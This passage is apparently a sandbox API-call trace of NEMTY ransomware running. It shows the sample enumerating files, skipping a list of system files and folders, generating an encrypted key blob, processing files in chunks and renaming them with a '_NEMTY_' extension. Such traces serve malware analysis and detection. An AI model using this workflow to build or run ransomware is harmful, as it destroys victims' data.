hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.838] CloseHandle (hObject=0xffffffff) returned 0 [0131.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0131.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0131.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\ehshellLogo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\ehshelllogo.png._nemty_kgobjgd_")) returned 0 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0131.838] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd92, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="flyout_background.png", cAlternateFileName="")) returned 1 [0131.838] lstrcmpiW (lpString1="flyout_background.png", lpString2=".") returned 1 [0131.838] lstrcmpiW (lpString1="flyout_background.png", lpString2="..") returned 1 [0131.838] lstrcmpiW (lpString1="flyout_background.png", lpString2="...") returned 1 [0131.838] lstrcmpiW (lpString1="flyout_background.png", lpString2="windows") returned -1 [0131.838] lstrcmpiW (lpString1="flyout_background.png", lpString2="$RECYCLE.BIN") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="rsa") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="NTDETECT.COM") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="ntldr") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="MSDOS.SYS") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="IO.SYS") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="boot.ini") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="boot.ini") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="ntuser.dat") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="desktop.ini") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="CONFIG.SYS") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="RECYCLER") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="BOOTSECT.BAK") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="bootmgr") returned 1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="programdata") returned -1 [0131.839] lstrcmpiW (lpString1="flyout_background.png", lpString2="appdata") returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout_background.png", lpUsedDefaultChar=0x0) returned 21 [0131.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout_background.png", lpUsedDefaultChar=0x0) returned 21 [0131.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0131.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout_background.png", lpUsedDefaultChar=0x0) returned 21 [0131.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0131.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout_background.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout_background.png", lpUsedDefaultChar=0x0) returned 21 [0131.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0131.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0131.840] Sleep (dwMilliseconds=0x5) [0131.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x23c2a30, dwHighDateTime=0x1d561e8)) [0131.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x23c2a30, dwHighDateTime=0x1d561e8)) [0131.849] GetLastError () returned 0x5 [0131.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.849] GetLastError () returned 0x5 [0131.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.849] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0131.849] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="+4cTMBf7a72REU0vbW4kgK5b2Hzyd7Qmmub7Zi85C+IabHEIEO86T8q6dyZMIKPh\r\n8B6ydVvSataQ4ggiB8iSo0pBeFkmHPn88A35lMv17OAh16pW9NH45rJDOdkPq7D4\r\nOruqdcTXAXVB/F8kQVHrQsN7kJC0hsRUAZxuwzX329NdYUUM83vjn9xPlllnR9BW\r\nQ5YyFnUcgjeWI0pj5/XDgo3vK0THGR8agDSbYFXBzuvmFhpV6k8ffQFqKOV5TcSL\r\n1L8HwkS9zjHkOe7SZf94nVNXJbmrrXSqlBwpSUJtw2uAjU12QNw47A92lHTeI1cz\r\n0iucvmFFHUfY9MDeeb7Zyg==\r\n", pcchString=0x653e91c) returned 1 [0131.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0131.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.850] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.850] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 